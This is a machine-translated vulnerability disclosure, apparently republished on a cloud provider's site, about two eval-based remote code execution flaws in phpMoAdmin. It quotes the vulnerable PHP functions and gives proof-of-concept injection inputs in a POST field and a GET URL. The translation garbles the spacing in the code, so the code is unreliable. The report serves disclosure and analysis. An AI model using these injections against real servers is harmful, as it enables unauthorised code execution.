PhpMoAdmin Vulnerability Analysis Report

Source: Internet
Author: User

PhpMoAdmin Vulnerability Analysis Report

PhpMoAdmin is a convenient online MongoDB management tool that can be used to create, delete, and modify databases and indexes. It provides view and data search tools and statistics on the database startup time and memory, php applications that support importing and exporting JSON data.

Recently, a hacker named sp1nlock announced an arbitrary code execution vulnerability in phpmoadmin, which may cause intrusion of users using the management program.

After a simple analysis by a researcher at the Alibaba defense lab, another similar Remote Code Execution Vulnerability (0day) was found in this application ).

0x01 public Vulnerability Analysis

The vulnerability file moadmin. php has no logon authentication permission.

Public function _ construct (){.... Omit several rows... $ Action = (isset ($ _ GET ['action'])? $ _ GET ['action']: 'listcollections '); if (isset ($ _ POST ['object']) {// pass in if (self :: $ model-> saveObject ($ _ GET ['collection'], $ _ POST ['object']) // pass in the saveObject function, cause code vulnerability {return $ this-> _ dumpFormVals (); saveObject function: public function saveObject ($ collection, $ obj) {eval ('$ obj = '. $ obj. ';'); // The $ obj parameter is controllable. Input Eval and execute return $ this-> mongo-> selectCollection ($ collection)-> save ($ obj );}
0x02 Exploitation

Pass object = 1 through post; phpinfo ();

0x03 0-day analysis

This program has another arbitrary code execution vulnerability, Location: 552-557 lines listRows Function

Public function listRows ($ collection) {foreach ($ this-> sort as $ key => $ val) {// cast vals to int $ sort [$ key] = (int) $ val;} $ col = $ this-> mongo-> selectCollection ($ collection); $ find = array (); if (isset ($ _ GET ['Find ']) & $ _ GET ['Find ']) {// use the get method to input the find variable $ _ GET ['Find '] = trim ($ _ GET ['Find']); if (strpos ($ _ GET ['Find '], 'array') = 0) {// $ find: simply determines whether the variable starts with array, if it is true, the vulnerability location eval ('$ find = '. $ _ GET ['Find ']. ';'); // input eval to execute arbitrary code} else if (is_string ($ _ GET ['Find ']) {if ($ findArr = json_decode ($ _ GET ['Find '], true) {$ find = $ findArr ;}}}
0x04 0-day exploitation
If there is no nutrition, you can search for two eval series and write them directly. http: // ip/moadmin. php? Collection = secpulse & action = listRows & find = array (); phpinfo (); exit;

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.